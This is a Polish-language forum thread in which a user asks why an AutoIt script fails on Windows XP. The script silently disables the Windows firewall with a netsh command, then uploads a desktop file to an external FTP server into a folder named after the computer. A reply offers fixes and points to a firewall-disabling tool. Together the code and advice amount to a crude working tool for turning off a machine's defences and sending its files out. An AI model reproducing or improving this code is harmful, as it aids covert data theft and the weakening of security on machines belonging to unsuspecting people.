[Problem] Wysylanie plikow na FTP na Win XP

[Pawellek]

Napisalem prosty FTP file uploader i okazalo sie, ze nie chce dzialac na win xp i nie mam pojecia dlaczego.

Tutaj kod:

#include <GUIConstants.au3>
#include <FTPEx.au3>
#include <Process.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Blabla", 423, 167, 193, 125)
$Button1 = GUICtrlCreateButton("Wyslij", 128, 48, 177, 57, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
$Server = "cba.pl"
$Username = "UserName"
$Password = "Password"
$Test = @DesktopDir & "\Test.txt"

While 1
	$nMsg = GUIGetMsg()
	Switch $nMsg
		Case $GUI_EVENT_CLOSE
			Exit
		Case $Button1
			Wyslij()	
	EndSwitch
WEnd

While 1
	sleep(100)
WEnd	

Func Wyslij()
	_RunDOS("netsh firewall set opmode disable")
	_FTP_CreateDir(@ComputerName)
	_FTP_FileSend($Server, $Username, $Password, $Test, "/" & @ComputerName & "/" & "Test.txt")
	MsgBox(0,"Hehe","hehe")
EndFunc	
	
Func _FTP_FileSend($Server, $Username, $Password, $LocFile, $RemFile)

$oFTP = _FTP_Open("myftp")
$oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password)

_FTP_FilePut($oConnect, $LocFile, $RemFile)

_FTP_Close($oFTP)

EndFunc 

Func _FTP_CreateDir($DirName)

$oFTP = _FTP_Open("myftp")
$oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password)

_FTP_DirCreate($oConnect, $DirName)

_FTP_Close($oFTP)

EndFunc   ;==>_FTP_CreateDir

Na Win 7 wysyla normalnie (po dodaniu wyjatku lub wylaczeniu firewalla) a na xpku nie chce (moze innych windowsach takze, nie sprawdzalem bo nie mam do takowych dostepu) program przestaje odpowiadac a tak po 1-2 minutach na ftp jest 0 bajtowy plik.

I teraz moze mi ktos powiedziec gdzie popelnilem blad?

[kaje11]

Skompiluj skrypt i dodaj wyjątek do binarki w zaporze ogniowej.

Wydaje mi się, że:

_RunDOS("netsh firewall set opmode disable")

nie zadziała na XP, przynajmniej na pewno bez praw admina.

 

Skorzystaj z tego:

http://www.autoitscript.com/forum/topic/20182-windows-firewall-disabler/